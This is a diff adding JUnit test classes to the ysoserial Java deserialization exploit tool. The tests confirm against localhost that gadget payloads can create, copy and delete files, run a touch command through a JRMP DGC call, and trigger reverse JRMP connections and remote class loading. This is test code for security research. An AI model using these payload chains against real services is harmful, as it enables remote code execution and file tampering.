Assert.assertFalse("test file should not exist", testFile.exists());
try {
payload.call();
} catch (Exception e) {
e.printStackTrace();
}
Files.waitForFile(testFile, 5000);
Assert.assertTrue("test file should exist", testFile.exists());
Assert.assertEquals(0, testFile.length());
testFile.deleteOnExit();
}
@Override
public String getPayloadArgs() {
return testFile.toString();
}
public static void main(String[] args) throws Exception {
PayloadsTest.testPayload(Scala.ScalaCreateZeroFile.class, new Class[0]);
}
}
@@ -0,0 +1,88 @@
package ysoserial.test.payloads;
import java.io.File;
import java.io.IOException;
import java.util.Arrays;
import java.util.concurrent.Callable;
import org.junit.Assert;
import com.google.common.io.Files;
import ysoserial.test.CustomTest;
import ysoserial.test.util.OS;
/**
* @author mbechler
*
*/
public class FileUploadTest implements CustomTest {
/**
*
*/
private static final byte[] FDATA = new byte[] {(byte) 0xAA, (byte) 0xBB, (byte) 0xCC, (byte) 0xDD, (byte) 0xEE, (byte) 0xFF };
private File source;
private File repo;
/**
*
*/
public FileUploadTest () {
try {
source = File.createTempFile("fut", "-source");
repo = Files.createTempDir();
}
catch ( IOException e ) {
e.printStackTrace();
}
}
public synchronized void run ( Callable<Object> payload ) throws Exception {
try {
Files.write(FDATA, this.source);
Assert.assertTrue(this.source.exists());
payload.call();
File found = null;
for (int i = 0; i < 50 && found == null; i++) { // try for 5s before failing
for (File f : this.repo.listFiles()) {
found = f;
break;
}
Thread.sleep(100);
}
Assert.assertNotNull("File not copied", found);
if (OS.get() != OS.WINDOWS) {
// windows' file locking seems to cause this to fail
Assert.assertFalse("Source not deleted", this.source.exists());
}
Assert.assertTrue("Contents not copied", Arrays.equals(FDATA, Files.toByteArray(found)));
} finally {
if ( this.repo.exists()) {
for ( File f : this.repo.listFiles()) {
safeDeleteOnExit(f);
}
safeDeleteOnExit(this.repo);
}
safeDeleteOnExit(this.source);
}
}
private static void safeDeleteOnExit(File f) {
try {
if (f.exists()) {
f.deleteOnExit();
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getPayloadArgs () {
return "copyAndDelete;" + this.source.getAbsolutePath() + ";" + this.repo.getAbsolutePath();
}
}
@@ -0,0 +1,60 @@
package ysoserial.test.payloads;
import org.junit.Assert;
import sun.rmi.transport.ObjectTable;
import ysoserial.exploit.JRMPClient;
import ysoserial.payloads.JRMPListener;
import ysoserial.test.CustomTest;
import ysoserial.test.util.Files;
import ysoserial.test.util.ObjectInputFilters;
import ysoserial.test.util.Randomized;
import java.io.File;
import java.rmi.Remote;
import java.util.Random;
import java.util.concurrent.Callable;
public class JRMPListenerTest implements CustomTest, NeedsAddlClasses {
private final File testFile = Files.getTestFile();
private final int port = Randomized.randPort();
@Override
public void run(Callable<Object> payload) throws Exception {
Assert.assertFalse("test file shouldn't exist", testFile.exists());
// ObjectInputFilters.disableDcgFilter();
// open listener
Remote res = (Remote) payload.call();
try {
// send payload
JRMPClient.makeDGCCall("localhost", port, new TestHarnessTest.ExecMockSerializable(CommandExecTest.getTouchCmd(testFile.toString())));
Files.waitForFile(testFile, 1000);
Assert.assertTrue("test file should exist", testFile.exists());
} finally {
// close listener
// TODO move to postDeserRelease
ObjectTable.unexportObject(res, true);
}
}
@Override
public String getPayloadArgs() {
return "" + port;
}
public static void main(String[] args) throws Exception {
// ObjectInputFilters.disableDcgFilter();
PayloadsTest.testPayload(JRMPListener.class);
}
public Class[] getAddlClasses() {
// not applicable because of unconfigurable DGC native classloader
return new Class[] { /* TestHarnessTest.ExecMockSerializable.class */ };
}
}
@@ -0,0 +1,61 @@
package ysoserial.test.payloads;
import java.net.URL;
import java.util.concurrent.Callable;
import ysoserial.payloads.JRMPClient;
import ysoserial.test.WrappedTest;
import ysoserial.exploit.JRMPListener;
/**
* @author mbechler
*
*/
public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements WrappedTest {
private int jrmpPort;
public JRMPReverseConnectSMTest () {
// some payloads cannot specify the port
jrmpPort = 1099;
}
/**
* {@inheritDoc}
*
* @see RemoteClassLoadingTest#createCallable(java.util.concurrent.Callable)
*/
@Override
public Callable<Object> createCallable ( final Callable<Object> innerCallable ) {
return super.createCallable(new Callable<Object>() {
public Object call () throws Exception {
JRMPListener l = new JRMPListener(jrmpPort, getExploitClassName(), new URL("http", "localhost", getHTTPPort(), "/"));
Thread t = new Thread(l, "JRMP listener");
try {
t.start();
Object res = innerCallable.call();
l.waitFor(1000);
return res;
}
finally {
l.close();
t.interrupt();
t.join();
}
}
});
}
@Override
public String getPayloadArgs () {
return "localhost:" + jrmpPort;
}
public static void main(String[] args) throws Exception {
// System.setProperty("java.rmi.server.useCodebaseOnly", "false");
PayloadsTest.testPayload(JRMPClient.class);
}
}
@@ -0,0 +1,65 @@
package ysoserial.test.payloads;
import java.util.concurrent.Callable;
import javax.management.BadAttributeValueExpException;
import org.junit.Assert;
import ysoserial.payloads.Atomikos;
import ysoserial.payloads.Hibernate2;
import ysoserial.payloads.JRMPClient;
import ysoserial.payloads.URLDNS;
import ysoserial.test.CustomTest;
import ysoserial.exploit.JRMPListener;
import ysoserial.test.util.ObjectInputFilters;
/**
* @author mbechler
*
*/
public class JRMPReverseConnectTest implements CustomTest {
private int port;
/**
*
*/
public JRMPReverseConnectTest () {
// some payloads cannot specify the port
port = 1099;
}
public void run ( Callable<Object> payload ) throws Exception {
DnsLookupTest innerTest = new DnsLookupTest();
JRMPListener l = new JRMPListener(port, new URLDNS().getObject(innerTest.getPayloadArgs()));
Thread t = new Thread(l, "JRMP listener");
try {
t.start();
innerTest.run(payload);
Assert.assertTrue("Did not have connection", l.waitFor(1000));
}
finally {
l.close();
t.interrupt();
t.join();
}
}
public String getPayloadArgs () {
return "rmi://localhost:" + port + "/ExportObject";
// return "rmi:localhost:" + port; // old version
// return "localhost:" + port;
}
public static void main(String[] args) throws Exception {
// ObjectInputFilters.disableDcgFilter();
PayloadsTest.testPayload(JRMPClient.class); // broken by sun.rmi.transport.DGCImpl_Stub.leaseFilter
}
}

Some files were not shown because too many files have changed in this diff Show More